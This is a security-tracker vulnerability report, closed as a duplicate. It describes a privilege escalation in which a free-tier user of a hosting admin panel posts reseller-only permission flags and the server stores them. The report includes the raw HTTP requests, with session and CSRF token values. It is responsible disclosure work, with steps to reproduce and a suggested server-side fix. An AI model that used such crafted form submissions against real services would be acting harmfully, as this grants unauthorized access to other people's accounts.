Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026

FS#388 - Privilege Escalation — Free-Tier User Sets Reseller-Level Permission Flags (FS#349 Bypass)

## Summary

The admin panel's "Add permission" form (`/permissions/add/`) exposes and processes two reseller-only checkboxes for ALL users, including free-tier accounts:

- `customer_full_accounts` — "Full technical access on all accounts"
- `customer_full_servers` — "Full technical access on all servers"

I created a permission entry with both flags enabled from a free-tier (non-reseller) account. The server accepted the request with `302 Found` ("Successfully created"), and the edit page confirmed both flags were checked and stored.

Relationship to  FS#349  :  FS#349  reported "Reseller-Level Permission Flags Accessible to Regular Customers" and was closed. This demonstrates the fix is incomplete — the form still renders these checkboxes and the backend still processes them for non-reseller users.

## Severity

Medium-High (CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Account type Free tier, individual — NOT a reseller
Permission ID (test) 473473 (created then deleted during testing)
## Steps to Reproduce

### Step 1 — Navigate to "Add permission" page

URL: `https://admin.alwaysdata.com/permissions/add/`

The form displays reseller-only checkboxes to a free-tier user:

```html
<h3>Global permissions</h3>

<input type="checkbox" name="customer_full_accounts" id="id_customer_full_accounts">
All permissions (accounts) — Full technical access on all accounts.

<input type="checkbox" name="customer_full_servers" id="id_customer_full_servers">
All permissions (servers) — Full technical access on all servers.
```

These checkboxes should not be visible or processable for a non-reseller account.

### Step 2 — Submit form with reseller flags enabled

```http
POST /permissions/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: django_language=en; csrftoken=q7EcXaqpfiTzZoszNjRvPxqcdOsPdp7v; sessionid=dsnux6mbw22dyhuq1g30pr0jii9tm6n0
Referer: https://admin.alwaysdata.com/permissions/add/ Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=tuowwYz11Mh9tc0a8sCKPLsv6SYA1hBuJrSyjYPg6U0yiqizLBj5u8Ix9wgf4wyP
&email=test-escalation-bypass@protonmail.com &customer_full_accounts=on
&customer_full_servers=on
&customer_account=on
&account=486630
&486630_account_contact_technical=on
&486630_account_usage=on
&486630_account_resources=on
```

Response:

```http
HTTP/1.1 302 Found
Location: /permissions/
Set-Cookie: messages=[…"Successfully created."]
```

### Step 3 — Verify flags stored on edit page

```http
GET /permissions/473473/ HTTP/1.1
Host: admin.alwaysdata.com
```

Response (HTML excerpt):

```html
<input type="email" name="email" value="test-escalation-bypass@protonmail.com" readonly>

<input type="checkbox" name="customer_full_accounts" … checked>
All permissions (accounts) — Full technical access on all accounts.

<input type="checkbox" name="customer_full_servers" … checked>
All permissions (servers) — Full technical access on all servers.
```

Both `customer_full_accounts` and `customer_full_servers` are checked. The server stored the reseller-level flags from a free-tier account.

### Step 4 — Immediate cleanup

```http
POST /permissions/473473/delete/ HTTP/1.1
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=We6XDLcsmKmQYQFIcTUdy82sevfPZhwucbAZqLsHrS5fN4X7P2Bydviuh9xu2wtP
```

Response: `302 Found` — successfully deleted.

##  FS#349  Bypass Evidence

 FS#349  was closed. The fix is incomplete at two layers:

1. Frontend: The reseller checkboxes are still rendered for non-reseller users
2. Backend (critical): The form processes and stores `customer_full_accounts=on` and `customer_full_servers=on` even when the submitting user is not a reseller — no server-side authorization check

Even if the checkboxes were hidden from the UI, an attacker could manually add these form fields to the POST request body.

## Impact

A free-tier user can create permission entries with reseller-level flags:

- `customer_full_accounts`: For a reseller with multiple hosting accounts, this grants the invited email complete technical control over every account. For a single-account user, the blast radius is limited but the authorization bypass is real.
- `customer_full_servers`: For a reseller with dedicated servers, this grants full server-level access.

The attack chain for real-world exploitation:
1. Attacker creates a permission entry on their own free account with both flags enabled
2. If the attacker later upgrades to reseller or gains access to a reseller account, these flags are already in place
3. Alternatively, social engineering: if an attacker tricks a reseller into adding a permission via a pre-crafted URL or form, the flags could grant full access

## Suggested Fix

1. Server-side enforcement (critical): Check `request.user.is_reseller` before including `customer_full_accounts` and `customer_full_servers` in the accepted form fields. Strip these from POST data if the user is not a reseller.
2. Frontend cleanup: Conditionally render these checkboxes only for reseller accounts.

Thanks

Closed by  cbay
13.07.2026 12:03
Reason for closing:  Duplicate
Additional comments about closing:  

https://security.alwaysda ta.com/task/349

dear team any update

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing